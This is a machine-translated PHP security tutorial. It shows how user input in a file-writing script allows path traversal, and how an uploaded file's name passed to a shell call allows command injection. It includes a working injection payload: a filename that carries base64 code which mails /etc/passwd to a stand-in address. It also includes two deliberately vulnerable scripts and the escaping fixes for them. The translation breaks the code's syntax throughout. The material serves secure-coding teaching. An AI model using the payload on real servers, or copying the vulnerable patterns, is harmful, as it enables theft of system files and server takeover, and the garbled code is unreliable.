Tutorials to .com

Tutorials to .com » Php » Others » PHP security and related

PHP security and related

Print View , by: iSee ,Total views: 6 ,Word Count: 2873 ,Date: Sun, 19 Apr 2009 Time: 10:05 PM

Attention to the importance of security issues
To see far from all

Prevent users from malicious damage to your program is often the most effective way is to ignore the code when writing to consider the possibility of it. Pay attention to possible security code is a very important problem. Considered below is intended to simplify the use of php in a text file into the process of a large number of examples of functions:


<? php
function write_text ($ filename, $ text = "") (
static $ open_files = array ();
/ / If the file name space, the closure of all the documents
if ($ filename == NULL) (
foreach ($ open_files as $ fr) (
fclose ($ fr);
)
return true;
)
$ index = md5 ($ filename);
if (! isset ($ open_files [$ index])) (
$ open_files [$ index] = fopen ($ filename, "a +");
if (! $ open_files [$ index]) return false;
)
fputs ($ open_files [$ index], $ text);
return true;
)
?>

The default function with two parameters, the file name and to write the text file.
Function to check whether documents have been opened; If so, will use the original file handles. Otherwise, it will create its own. In both cases, the text will be written into the document.
If passed to the function of the file name is NULL, then all open file will be closed. Below provides an example of the use.
If the developer side the following format to write more than a text file, then this function will be more clear and legible.
Let us assume that this function exists in a separate document, this document contains code that calls this function.
Below is a such a program, we call it quotes.php:

<html> <body>
<form action ="<?=$_ SERVER [ 'PHP_SELF']?>" method = "get">
Choose the nature of the quote:
<select name="quote" size="3">
<option value="funny"> Humorous quotes </ option>
<option value="political"> Political quotes </ option>
<option value="love"> Romantic Quotes </ option>
</ select> <br />
The quote: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Save Quote" />
</ form>
</ body> </ html>
<? php
include_once ( 'write_text.php');
$ filename = "/ home / web / quotes / ($ _GET [ 'quote']}";
$ quote_msg = $ _GET [ 'quote_text'];
if (write_text ($ filename, $ quote_msg)) (
echo "<center> <hr> <h2> Quote saved! </ h2> </ center>";
) Else (
echo "<center> <hr> <h2> Error writing quote </ h2> </ center>";
)
write_text (NULL);
?>

As you can see, the developers used write_text () function to create a system allows users to submit their favorite motto, the motto will be stored in a text file.
Unfortunately, the developers may not have thought that this program also allows users against malicious web server's security.
Perhaps now you are thinking about what the firstthis program looks very innocent ways to bring in a security risk.
If you can not see, given the bottom of this URL, remember that this program is called quotes.php:

http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage + data

When the URL passed to the web server what will happen when?

Obviously, quotes.php will be implemented, however, instead of saying we want to write to one of three documents, on the contrary, a new file called different_file.dat will be established, which includes a string garbage data .

Obviously, this is not the behavior we hope, a malicious user may be designated as a quote by .. / .. / .. / etc / passwd to access the Unix password file to create an account (although this requires superuser run the web server to the program, if this is the case, you should stop reading immediately to fix it).

If the / home / web / quotes / can access through a browser, this program may be the most serious security problem is that it allows any user to write and run arbitrary PHP code. This will bring trouble.

Here are some solutions. If you only need to write some of the documents directory, consider using an array to store the relevant file name. If a user enters a document exists in this array, you can safely write. Another idea is to remove all numbers and letters instead of characters to ensure that there is no directory partition symbol. There is also a way to check the file extension to ensure the document will not be web server implementation.

Principle is very simple, as a developer you have to program than in the case you want to consider running more.

If illegal data into a form element in what will happen? Allow a malicious user you do not want the program to run? How can stop these attacks? Your web server and PHP code, only the security of the weakest link in the only safe, so that these links may be unsafe if it is safe is very important.

Common safety mistakes

Here are some key points, one is likely to endanger the safety and management of coding errors on the summary is not a complete list of


Error 1. Reliable data
This is run through in my PHP program on the theme of the discussion of security, you must not believe that a data from external sources. Whether it comes from the user submit the form, file system file or environment variables, any data can not be taken for granted the use of simple. Therefore, user input will be required to carry out proof of the format to ensure security.

Error 2. Web directory in the storage of sensitive data
Any and all sensitive data should be stored in the data independent of the need to use the program file, and save in a browser can not access the directory. When the need for the use of sensitive data, then include or require statement to include PHP to the appropriate program.

Error 3. Do not use the recommended safety precautions
PHP Manual includes the use and preparation of PHP programs on the integrity of the security section. Manuals are also (almost) clearly based on the case when there is a potential security risk and how to minimize risk. In another example, a malicious user to rely on developers and administrators to be concerned about the failure to obtain security information system permissions. Pay attention to these warnings and take appropriate measures to reduce the malicious user to your system a real possibility of sabotage.


In the implementation of the PHP system call
In PHP there are many ways to the implementation of system calls.

For example, system (), exec (), passthru (), popen () and anti-single-quotation marks ( `) operator in the program allow you to perform system calls. If the inappropriate use of these functions will be above a malicious user on your server and open the door to the implementation of system commands. Like to access files, the vast majority of cases, security vulnerabilities occur in the absence of reliable external input led to the implementation of the system commands.

The use of system calls the program an example of
Consider a deal with http file upload program, which uses the zip program to compress files, and then move it to the specified directory (default / usr / local / archives /). Code is as follows:


<? php
$ zip = "/ usr / bin / zip";
$ store_path = "/ usr / local / archives /";

if (isset ($ _FILES [ 'file'])) (
$ tmp_name = $ _FILES [ 'file'] [ 'tmp_name'];
$ cmp_name = dirname ($ _FILES [ 'file'] [ 'tmp_name']).
"/{$_ FILES [ 'file'] [ 'name']). Zip ";
$ filename = basename ($ cmp_name);

if (file_exists ($ tmp_name)) (
$ systemcall = "$ zip $ cmp_name $ tmp_name";
$ output = `$ systemcall`;

if (file_exists ($ cmp_name)) (
$ savepath = $ store_path. $ filename;
rename ($ cmp_name, $ savepath);
)
)
)
?>

<form enctype = "multipart / form-data" action = "<?
php echo $ _SERVER [ 'PHP_SELF'];
?> "Method =" POST ">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"> <br />
<input type="submit" value="Compress File">
</ form>
Although this program looks very simple, but malicious users can be some ways to use it. The most serious security issues in our implementation of the compression command (through the `operator), in the line below it is clear to see that this point:

if (isset ($ _FILES [ 'file'])) (
$ tmp_name = $ _FILES [ 'file'] [ 'tmp_name'];
$ cmp_name = dirname ($ _FILES [ 'file'] [ 'tmp_name']).
"/{$_ FILES [ 'file'] [ 'name']). Zip ";

$ filename = basename ($ cmp_name);

if (file_exists ($ tmp_name)) (
$ systemcall = "$ zip $ cmp_name $ tmp_name";
$ output = `$ systemcall`;
...
Deception program to execute arbitrary shell commands
Although this code looks quite safe, it has to make file upload any user to execute arbitrary shell commands potentially dangerous!

Accurate to say that this security vulnerability from $ cmp_name of the assignment variables. Here, we hope that the use of compressed file upload from the client when the file name (with. Zip extension). We use the $ _FILES [ 'file'] [ 'name'] (it contains the client upload the file name at the time).

Under such circumstances, a malicious user can upload a bearing on the adoption of the underlying operating system with special characters in a document of significance to achieve their own ends. For example, if a user in accordance with the form below to create an empty file what? (UNIX shell prompt)

[user @ localhost] # touch "; php-r '$ code = base64_decode (
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA ==");
system ($ code );';"
This command will create a file name as follows:

; php-r '$ code = base64_decode (
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA ==");
system ($ code); ';
Looks very strange? Let us take a look at the "File Name", we find it so very much like the CLI version of PHP code to implement the following command:
<? php
$ code = base64_decode (
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA ==");
system ($ code);
?>
Out of curiosity, if you display the contents of variable $ code, you will find it contains mail baduser@somewhere.com </ etc / passwd. If the user of this document to the program, followed by the implementation of system calls to PHP files, PHP will be implemented in practice the following statement:

/ usr / bin / zip / tmp /; php-r
'$ code = base64_decode (
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA ==");
system ($ code );';. zip / tmp/phpY4iatI
Surprisingly, the command above is not a statement but three! UNIX shell as a result of the semicolon (;) interpreted as the end of a shell command and the beginning of another order, in addition to the semicolon in the middle of the quotation marks, PHP's system () implementation in practice will be as follows:

[user @ localhost] # / usr / bin / zip / tmp /
[user @ localhost] # php-r
'$ code = base64_decode (
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA ==");
system ($ code); '
[user @ localhost] #. zip / tmp/phpY4iatI
As you can see, this seems harmless PHP program suddenly turned into a command shell to execute arbitrary PHP and other backdoor programs. Although this example only in the path under the CLI version of PHP on the system effectively, but this technology can be used other ways to achieve the same result.

Attacks against the system call
The key here is still, from the user's input, regardless of content, it should not be believed! The question remains how to use the system call time (apart from do not use them) to avoid a similar situation. In order to combat this type of attack, PHP provides two functions, escapeshellarg () and escapeshellcmd ().

escapeshellarg () function is used for system commands from the user input parameters (in our case, is the zip command) contains out of potentially dangerous characters designed. The syntax of this function are as follows:

escapeshellarg ($ string)
where $ string is used to filter the input, the return value is filtered characters. Implementation, this function will be added on both sides of the characters in single quotes, and escape in the original string in single quotes (to add, in its front). In our routine, if we are in the implementation of system commands to add these lines before:

$ cmp_name = escapeshellarg ($ cmp_name);
$ tmp_name = escapeshellarg ($ tmp_name);
By ensuring that we will be able to pass parameters to the system call has been dealt with no other intention of a user input in order to circumvent such security risks.

escapeshellcmd () and escapeshellarg () similar to, but it escaped the bottom of the operating system of the characters have special significance. And escapeshellarg () different, escapeshellcmd () does not handle the contents of the blank grid. To give an example, when using escapeshellcmd () escaped, the characters

$ string = " 'hello, world!'; evilcommand"
Will become:

'hello, world'; evilcommand
If the string parameters for the system call it would still not be the correct result, the shell will be as it were interpreted as two separate parameters: 'hello and world'; evilcommand. If the user input for the system calls a list of some of the parameters, escapeshellarg () is a better choice.


The protection of the uploaded file
In the whole article, I have been speaking only on how the system call hijacking by malicious users to generate the results we do not want to.
However, here there is another potential security risk should be referred to. To see our routine, put your focus on the line below:

$ tmp_name = $ _FILES [ 'file'] [ 'tmp_name'];
$ cmp_name = dirname ($ _FILES [ 'file'] [ 'tmp_name']).
"/{$_ FILES [ 'file'] [ 'name']). Zip ";

$ filename = basename ($ cmp_name);
if (file_exists ($ tmp_name)) (
Fragment in the above lines of code result in a potential security risk is that the last line we have to upload a file to determine whether the physical presence (a temporary file name $ tmp_name exist).

The security risk is not from the PHP itself, but rather kept in the $ tmp_name the file name is not actually a file, but would like to visit a malicious user to the file, for example, / etc / passwd.

In order to prevent this from happening, PHP provides a is_uploaded_file () function, it file_exists () the same, but it really provide a document from the client to check the upload.

In most cases, you will need to move uploaded file, PHP provides the move_uploaded_file () function, to cope with the is_uploaded_file (). This function and rename () the same file for mobile, but it will be before the implementation of automated checks to ensure that the movement of paper documents are uploaded. move_uploaded_file () syntax is as follows:

move_uploaded_file ($ filename, $ destination);
When it comes to implementation upload function will move $ filename to destination $ destination and return a boolean value to mark the success of the operation.

Note: John Coggeshall is a PHP consultant and author. From the beginning he did not sleep for the PHP has been around 5 years.
The original English text: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html


php other Articles


Can't Find What You're Looking For?


Rating: Not yet rated

Comments

No comments posted.